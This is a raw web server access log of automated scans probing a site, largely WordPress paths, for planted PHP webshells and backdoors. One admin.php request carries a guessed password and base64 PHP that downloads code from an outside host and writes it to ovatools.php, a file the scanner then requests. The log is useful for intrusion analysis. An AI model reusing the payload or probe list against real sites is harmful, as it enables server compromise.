157.230.250.62 - - [23/Sep/2025:13:23:22 -0400] "GET /wp-admin/css/colors/coffee/marijuana.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:23:24 -0400] "GET /cirilo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:23:27 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:23:33 -0400] "GET /hyb.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:23:51 -0400] "GET /wp-admin/css/mari.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:23:54 -0400] "GET /jadikaya.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:24:11 -0400] "GET /wol.php.shizu.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:24:16 -0400] "GET /wp-content/plugins/owfsmac/mar.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:24:17 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:24:22 -0400] "GET /be7ak.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:24:25 -0400] "GET /wp-admin/css/maro.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:24:29 -0400] "GET /crl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:24:33 -0400] "GET /error7.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:24:42 -0400] "GET /wp-admin/includes/mari.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:24:47 -0400] "GET /usd.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:25:02 -0400] "GET /wp-admin/maint/mari.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:25:07 -0400] "GET /fire.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:25:26 -0400] "GET /pirja.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:25:29 -0400] "GET /kaca.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:25:26 -0400] "GET /wp-admin/mari.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:25:36 -0400] "GET /200.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:25:50 -0400] "GET /wp-content/mari.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:25:59 -0400] "GET /wp-content/plugins/aryabot/mar.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:26:03 -0400] "GET /soto.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:26:13 -0400] "GET /draw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:26:24 -0400] "GET /PR1eg.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:26:26 -0400] "GET /anjay.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:26:29 -0400] "GET /anons79.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:26:32 -0400] "GET /base.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:26:33 -0400] "GET /admin.php?action=beindex&password=sem2023&aver=PD9waHAgZmlsZV9wdXRfY29udGVudHMoJ292YXRvb2xzLnBocCcsIGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwczovL3VjZG8uZ3JvdXAvd3AtYWRtaW4vdS50eHQnKSkgPyBwcmludCAnc3VjY2Vzc2Z1bGx5ICcgOiBwcmludCAnRXJyb3InOyA/Pg==&fileplus=PD9waHAgZmlsZV9wdXRfY29udGVudHMoJ292YXRvb2xzLnBocCcsIGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwczovL3VjZG8uZ3JvdXAvd3AtYWRtaW4vdS50eHQnKSkgPyBwcmludCAnc3VjY2Vzc2Z1bGx5ICcgOiBwcmludCAnRXJyb3InOyA/Pg==&checkstring=PD9waHAgZmlsZV9wdXRfY29udGVudHMoJ292YXRvb2xzLnBocCcsIGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwczovL3VjZG8uZ3JvdXAvd3AtYWRtaW4vdS50eHQnKSkgPyBwcmludCAnc3VjY2Vzc2Z1bGx5ICcgOiBwcmludCAnRXJyb3InOyA/Pg== HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:26:34 -0400] "GET /back-up.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:26:35 -0400] "GET /ovatools.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:26:39 -0400] "GET /newa.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:26:39 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "python-requests/2.32.5"
196.251.80.56 - - [23/Sep/2025:13:26:42 -0400] "GET /by.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:26:45 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:26:50 -0400] "GET /502.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:26:52 -0400] "GET /625.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:27:04 -0400] "GET /Andela1C3%20v.3.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:27:10 -0400] "GET /Bil.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:27:13 -0400] "GET /Border.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:27:17 -0400] "GET /Btool.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:27:31 -0400] "GET /CFT.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:27:35 -0400] "GET /CIBELEEER.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:27:38 -0400] "GET /CLynzx3.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:27:49 -0400] "GET /Clean%20K2ll33d.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:27:53 -0400] "GET /ClownShell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:28:00 -0400] "GET /Con7ext.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:25:31 -0400] "GET /kayu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:25:41 -0400] "GET /24.php25.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:25:49 -0400] "GET /rooting.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:25:54 -0400] "GET /bc.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:25:55 -0400] "GET /wp-content/plugins/aryabot/mari.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:25:57 -0400] "GET /connect.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:26:07 -0400] "GET /wp-content/plugins/owfsmac/maro.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:26:07 -0400] "GET /kuda.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:26:10 -0400] "GET /naga.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:26:13 -0400] "GET /wp-includes/mari.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:26:18 -0400] "GET /dragon.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:26:22 -0400] "GET /alfateslav4.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:26:26 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:26:36 -0400] "GET /bj.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:26:41 -0400] "GET /black.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:26:48 -0400] "GET /BYP.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:26:55 -0400] "GET /93ziY2ie.php.part HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:26:57 -0400] "GET /Aci.php.html HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:27:01 -0400] "GET /Act-sh.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:27:08 -0400] "GET /Andre.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:27:24 -0400] "GET /C4.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:27:41 -0400] "GET /Cart.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:27:46 -0400] "GET /Chezx1.php.jpg HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:27:56 -0400] "GET /Cnfocksjah.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:28:04 -0400] "GET /Crack2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:28:13 -0400] "GET /DCT%20DAN%20JCA.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:28:14 -0400] "GET /DFS.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:28:27 -0400] "GET /Dewa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:28:32 -0400] "GET /Diablo63.php.html HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:28:34 -0400] "GET /Dit.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:28:36 -0400] "GET /Ditshell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:28:38 -0400] "GET /Dr.Blackhat_indo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:28:41 -0400] "GET /Duh.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:28:44 -0400] "GET /Dwl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:28:46 -0400] "GET /E.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:28:49 -0400] "GET /E2P16SHELL_ENCODE.php.txt HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:29:10 -0400] "GET /FETRIX.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:28:10 -0400] "GET /Cyber2112SCT.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:28:19 -0400] "GET /DagezGans.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:28:22 -0400] "GET /Dash.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:28:24 -0400] "GET /Derz.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:28:30 -0400] "GET /DgansShell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:28:52 -0400] "GET /EB.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:28:54 -0400] "GET /ESLalfa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:28:56 -0400] "GET /Emon.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:29:01 -0400] "GET /Evill-mailer.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:29:07 -0400] "GET /FCS.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:29:15 -0400] "GET /FFtemmnoe.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:29:19 -0400] "GET /FX-Shell_(Mini-Version).php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:29:21 -0400] "GET /FX.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:29:43 -0400] "GET /FrozShell-2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:29:49 -0400] "GET /GET.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:29:53 -0400] "GET /GQM.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:30:02 -0400] "GET /Ganz.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:30:06 -0400] "GET /gindex.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:30:25 -0400] "GET /update.php.docx HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:30:28 -0400] "GET /back.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:30:32 -0400] "GET /GRIfhlM2aVe.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:30:49 -0400] "GET /bimowdoodk.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:30:54 -0400] "GET /shell20211028.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:31:03 -0400] "GET /new-63513bcf90233.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:31:08 -0400] "GET /wp-type.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:31:20 -0400] "GET /module.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:31:32 -0400] "GET /help.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:31:35 -0400] "GET /2XsvxzEhCUw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:31:37 -0400] "GET /tnjwfirpsd.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:31:39 -0400] "GET /fpbxtisbme.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:31:43 -0400] "GET /bxgqrowrrp.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:31:46 -0400] "GET /aakjlxeezv.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:31:51 -0400] "GET /wp-conflg.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:31:53 -0400] "GET /checkbox.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:32:02 -0400] "GET /emusuf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:32:04 -0400] "GET /images.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:32:08 -0400] "GET /up.pdf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:32:12 -0400] "GET /elbjewpi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:32:13 -0400] "GET /txvozwwo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:32:16 -0400] "GET /shwso.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:32:31 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:32:42 -0400] "GET /options-index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:32:53 -0400] "GET /archieving.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:32:56 -0400] "GET /img.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:29:26 -0400] "GET /Fan4.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:29:32 -0400] "GET /Fan6.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:29:36 -0400] "GET /Ferguso.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:29:40 -0400] "GET /Finn.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:29:46 -0400] "GET /Fucek.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:29:51 -0400] "GET /GNO.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:29:57 -0400] "GET /GUMH.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:29:59 -0400] "GET /Gaero.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:30:10 -0400] "GET /wsoyanzorng.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:30:14 -0400] "GET /imagrer.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:30:18 -0400] "GET /wp-aespa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:30:21 -0400] "GET /bjzLX0MYv7.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:30:29 -0400] "GET /dwcawpzoek.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:30:38 -0400] "GET /notice.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:30:41 -0400] "GET /1fOnCslSFxX.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:30:57 -0400] "GET /GOj9m.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:31:01 -0400] "GET /hwjxhebs.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:31:12 -0400] "GET /acrolbbodf.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:31:16 -0400] "GET /va248.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:31:22 -0400] "GET /fm.php.gif HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:31:25 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:31:41 -0400] "GET /cons.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:31:50 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:31:55 -0400] "GET /0aa.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:31:58 -0400] "GET /iLBq3zxGWFj.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:32:10 -0400] "GET /AQFcJ.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:32:18 -0400] "GET /psp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:32:21 -0400] "GET /class-join.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:32:24 -0400] "GET /trio-kece.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:32:27 -0400] "GET /%20.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:32:33 -0400] "GET /2YWJFCEtDLf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:32:36 -0400] "GET /alfa4.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:32:44 -0400] "GET /fjzdflmgvk.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:32:47 -0400] "GET /dadwehyzpf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:32:49 -0400] "GET /hbhbrdryld.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:32:51 -0400] "GET /ffaidlsygk.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:32:57 -0400] "GET /users.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:33:04 -0400] "GET /class-wp-upgrade.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:33:05 -0400] "GET /wp-gypqic.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:33:08 -0400] "GET /88981.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:33:12 -0400] "GET /wpspl-load-compat.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:33:15 -0400] "GET /mpv2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:33:18 -0400] "GET /Type_Ajout_Fiche.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:33:00 -0400] "GET / HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:33:00 -0400] "GET /class-wp-admin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:33:07 -0400] "GET /wp-xmlrpc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:33:13 -0400] "GET /1U.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:33:22 -0400] "GET /Pmxyz.php HTTP/1.1" 301 795 "-" "-"
35.178.187.180 - - [23/Sep/2025:13:33:23 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
206.189.247.132 - - [23/Sep/2025:13:33:23 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:13:33:25 -0400] "GET /sidebar-embed.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:33:28 -0400] "GET /kab.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:33:30 -0400] "GET /mailer.php.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:33:32 -0400] "GET /class-feed-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:33:38 -0400] "GET /contato.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:33:42 -0400] "GET /comments-popup.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:33:45 -0400] "GET /layout-ajax-response.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:33:46 -0400] "GET /247@abu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:33:47 -0400] "GET /AronTn.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:33:52 -0400] "GET /unzip.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:33:53 -0400] "GET /Logo_mm.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:34:04 -0400] "GET /tax2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:34:11 -0400] "GET /jvc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:34:14 -0400] "GET /licsy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:34:17 -0400] "GET /reg_form.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:34:19 -0400] "GET /setcookie.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:34:21 -0400] "GET /3ponu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:34:23 -0400] "GET /da1e2eeec7.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:34:28 -0400] "GET /wawe_gH298.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:34:30 -0400] "GET /class-wp-user-request-meta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:34:32 -0400] "GET /class-wp-cdomize-admin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:34:35 -0400] "GET /414lfv.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:34:39 -0400] "GET /sendme.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:34:40 -0400] "GET /contacto.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:34:42 -0400] "GET /submenu-pspell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:34:44 -0400] "GET /email.php HTTP/1.1" 301 795 "-" "-"
